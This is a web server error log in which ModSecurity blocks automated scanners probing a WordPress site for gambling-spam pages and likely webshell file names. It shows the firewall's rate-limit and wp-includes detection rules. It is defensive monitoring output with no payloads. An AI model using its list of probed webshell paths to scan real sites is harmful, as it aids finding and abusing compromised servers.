[Sat Feb 07 07:12:45.716817 2026] [:error] [pid 43182:tid 43201] [client 65.108.78.33:37562] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYZ1bfEC82JnxmrnFYnhGAAAAVE"]
[Sat Feb 07 07:12:48.248396 2026] [:error] [pid 50671:tid 50692] [client 65.108.78.33:37578] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYZ1cLvqLohWBI_mqBP7vQAAAAw"]
[Sat Feb 07 07:12:50.751854 2026] [:error] [pid 43182:tid 43191] [client 65.108.78.33:37580] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYZ1cvEC82JnxmrnFYnhLQAAAUc"]
[Sat Feb 07 07:12:53.524229 2026] [:error] [pid 50672:tid 50729] [client 65.108.78.33:9818] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYZ1dQ9o0jq1XS8Nv7OcAwAAAFU"]
[Sat Feb 07 07:12:56.086584 2026] [:error] [pid 55157:tid 55165] [client 65.108.78.33:9828] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYZ1eH36JdtTn2bTEowEdgAAAQM"]
[Sat Feb 07 07:12:58.798144 2026] [:error] [pid 50671:tid 50697] [client 65.108.78.33:9834] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYZ1ervqLohWBI_mqBP7zwAAABE"]
[Sat Feb 07 07:13:01.511205 2026] [:error] [pid 43182:tid 43195] [client 65.108.78.33:9836] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYZ1ffEC82JnxmrnFYnhPwAAAUs"]
[Sat Feb 07 07:13:04.104279 2026] [:error] [pid 50671:tid 50692] [client 65.108.78.33:47098] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYZ1gLvqLohWBI_mqBP71AAAAAw"]
[Sat Feb 07 07:13:06.709307 2026] [:error] [pid 50672:tid 50715] [client 65.108.78.33:47110] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYZ1gg9o0jq1XS8Nv7OcEgAAAEc"]
[Sat Feb 07 09:19:37.223480 2026] [:error] [pid 43182:tid 43191] [client 74.248.113.199:38634] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Update/f35.php"] [unique_id "aYaTKfEC82JnxmrnFYkYFAAAAUc"]
[Sat Feb 07 09:19:41.569832 2026] [:error] [pid 50673:tid 50736] [client 74.248.113.199:38605] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Update/f35.php"] [unique_id "aYaTLWVwLsaZ7aKO2ck7ZQAAAIE"]
[Sat Feb 07 09:19:47.448123 2026] [:error] [pid 55157:tid 55178] [client 74.248.113.199:39479] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Update/f35.php"] [unique_id "aYaTM336JdtTn2bTEowymgAAARA"]
[Sat Feb 07 09:19:52.226661 2026] [:error] [pid 55157:tid 55186] [client 74.248.113.199:5485] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Update/f35.php"] [unique_id "aYaTOH36JdtTn2bTEowynAAAARg"]
[Sat Feb 07 09:19:56.852595 2026] [:error] [pid 55157:tid 55181] [client 74.248.113.199:5469] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYaTPH36JdtTn2bTEowyowAAARM"]
[Sat Feb 07 09:20:02.065413 2026] [:error] [pid 50672:tid 50724] [client 74.248.113.199:45901] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYaTQg9o0jq1XS8Nv7O90QAAAFA"]
[Sat Feb 07 09:20:08.172132 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:39131] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Wp-good.php"] [unique_id "aYaTSH36JdtTn2bTEowysgAAAQo"]
[Sat Feb 07 09:20:15.760607 2026] [:error] [pid 50672:tid 50708] [client 74.248.113.199:55743] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Wp-good.php"] [unique_id "aYaTTw9o0jq1XS8Nv7O91QAAAEA"]
[Sat Feb 07 09:20:19.575827 2026] [:error] [pid 50673:tid 50740] [client 74.248.113.199:40859] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Wp-good.php"] [unique_id "aYaTU2VwLsaZ7aKO2ck7dgAAAIU"]
[Sat Feb 07 09:20:20.413295 2026] [:error] [pid 55157:tid 55180] [client 74.248.113.199:34007] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Wp-good.php"] [unique_id "aYaTVH36JdtTn2bTEowywgAAARI"]
[Sat Feb 07 09:20:21.159039 2026] [:error] [pid 43182:tid 43207] [client 74.248.113.199:55709] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tphp.php"] [unique_id "aYaTVfEC82JnxmrnFYkYWgAAAVc"]
[Sat Feb 07 09:20:22.023986 2026] [:error] [pid 55157:tid 55163] [client 74.248.113.199:5150] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tphp.php"] [unique_id "aYaTVn36JdtTn2bTEowyxQAAAQE"]
[Sat Feb 07 09:20:22.623233 2026] [:error] [pid 50671:tid 50691] [client 74.248.113.199:55691] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tphp.php"] [unique_id "aYaTVrvqLohWBI_mqBMeTAAAAAs"]
[Sat Feb 07 09:20:24.260935 2026] [:error] [pid 43182:tid 43187] [client 74.248.113.199:47231] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tphp.php"] [unique_id "aYaTWPEC82JnxmrnFYkYXgAAAUM"]
[Sat Feb 07 09:20:25.061307 2026] [:error] [pid 50672:tid 50715] [client 74.248.113.199:34006] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYaTWQ9o0jq1XS8Nv7O92gAAAEc"]
[Sat Feb 07 09:20:26.832912 2026] [:error] [pid 50671:tid 50682] [client 74.248.113.199:44701] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYaTWrvqLohWBI_mqBMeUgAAAAI"]
[Sat Feb 07 09:20:28.955083 2026] [:error] [pid 55157:tid 55163] [client 74.248.113.199:5449] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYaTXH36JdtTn2bTEowy0wAAAQE"]
[Sat Feb 07 09:20:29.984818 2026] [:error] [pid 50672:tid 50708] [client 74.248.113.199:34044] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYaTXQ9o0jq1XS8Nv7O94gAAAEA"]
[Sat Feb 07 09:20:30.685982 2026] [:error] [pid 55157:tid 55165] [client 74.248.113.199:45918] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYaTXn36JdtTn2bTEowy3AAAAQM"]
[Sat Feb 07 09:20:31.467598 2026] [:error] [pid 50672:tid 50713] [client 74.248.113.199:39460] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYaTXw9o0jq1XS8Nv7O94wAAAEU"]
[Sat Feb 07 09:20:32.230149 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:39798] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYaTYH36JdtTn2bTEowy3wAAAQo"]
[Sat Feb 07 09:20:33.490356 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:5142] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYaTYfEC82JnxmrnFYkYaAAAAUo"]
[Sat Feb 07 09:20:34.581698 2026] [:error] [pid 50672:tid 50722] [client 74.248.113.199:34005] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYaTYg9o0jq1XS8Nv7O95gAAAE4"]
[Sat Feb 07 09:20:38.309440 2026] [:error] [pid 50780:tid 50795] [client 74.248.113.199:47211] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aYaTZutUmIu2JHM2Crvl_AAAAM0"]
[Sat Feb 07 09:20:42.110690 2026] [:error] [pid 43182:tid 43184] [client 74.248.113.199:36725] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aYaTavEC82JnxmrnFYkYeQAAAUA"]
[Sat Feb 07 09:20:45.992583 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:39445] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aYaTbbvqLohWBI_mqBMeXQAAABE"]
[Sat Feb 07 09:20:47.214008 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:47207] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aYaTb_EC82JnxmrnFYkYfgAAAUY"]
[Sat Feb 07 09:20:48.426921 2026] [:error] [pid 50671:tid 50685] [client 74.248.113.199:33986] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aYaTcLvqLohWBI_mqBMeYAAAAAU"]
[Sat Feb 07 09:20:48.977032 2026] [:error] [pid 50780:tid 50794] [client 74.248.113.199:34281] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aYaTcOtUmIu2JHM2CrvmBQAAAMw"]
[Sat Feb 07 09:20:49.726162 2026] [:error] [pid 50780:tid 50786] [client 74.248.113.199:47190] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aYaTcetUmIu2JHM2CrvmBwAAAMQ"]
[Sat Feb 07 09:20:50.294502 2026] [:error] [pid 43182:tid 43191] [client 74.248.113.199:34036] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aYaTcvEC82JnxmrnFYkYgwAAAUc"]
[Sat Feb 07 09:20:50.989371 2026] [:error] [pid 43182:tid 43198] [client 74.248.113.199:39431] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aYaTcvEC82JnxmrnFYkYhQAAAU4"]
[Sat Feb 07 09:20:51.602134 2026] [:error] [pid 50672:tid 50731] [client 74.248.113.199:36724] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aYaTcw9o0jq1XS8Nv7O-AgAAAFc"]
[Sat Feb 07 09:20:52.357931 2026] [:error] [pid 50671:tid 50682] [client 74.248.113.199:47227] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aYaTdLvqLohWBI_mqBMeYgAAAAI"]
[Sat Feb 07 09:20:53.548685 2026] [:error] [pid 50671:tid 50695] [client 74.248.113.199:47181] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aYaTdbvqLohWBI_mqBMeYwAAAA8"]
[Sat Feb 07 09:20:54.337994 2026] [:error] [pid 50671:tid 50703] [client 74.248.113.199:36708] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aYaTdrvqLohWBI_mqBMeZgAAABc"]
[Sat Feb 07 09:20:55.027201 2026] [:error] [pid 50780:tid 50785] [client 74.248.113.199:38652] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aYaTd-tUmIu2JHM2CrvmDgAAAMM"]
[Sat Feb 07 09:20:55.903096 2026] [:error] [pid 43182:tid 43189] [client 74.248.113.199:8525] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aYaTd_EC82JnxmrnFYkYiwAAAUU"]
[Sat Feb 07 09:20:56.874251 2026] [:error] [pid 50672:tid 50711] [client 74.248.113.199:8569] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aYaTeA9o0jq1XS8Nv7O-BgAAAEM"]
[Sat Feb 07 09:20:57.410049 2026] [:error] [pid 50780:tid 50789] [client 74.248.113.199:47183] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aYaTeetUmIu2JHM2CrvmEQAAAMc"]
[Sat Feb 07 09:20:58.260654 2026] [:error] [pid 43182:tid 43185] [client 74.248.113.199:35581] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aYaTevEC82JnxmrnFYkYjgAAAUE"]
[Sat Feb 07 09:20:58.873809 2026] [:error] [pid 55157:tid 55164] [client 74.248.113.199:8540] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aYaTen36JdtTn2bTEowzDwAAAQI"]
[Sat Feb 07 09:20:59.710845 2026] [:error] [pid 55157:tid 55173] [client 74.248.113.199:40293] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aYaTe336JdtTn2bTEowzEQAAAQs"]
[Sat Feb 07 09:21:00.376086 2026] [:error] [pid 43182:tid 43195] [client 74.248.113.199:38655] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aYaTfPEC82JnxmrnFYkYkAAAAUs"]
[Sat Feb 07 09:21:00.921899 2026] [:error] [pid 43182:tid 43203] [client 74.248.113.199:58192] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aYaTfPEC82JnxmrnFYkYkwAAAVM"]
[Sat Feb 07 09:21:01.597264 2026] [:error] [pid 55157:tid 55163] [client 74.248.113.199:8562] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYaTfX36JdtTn2bTEowzFgAAAQE"]
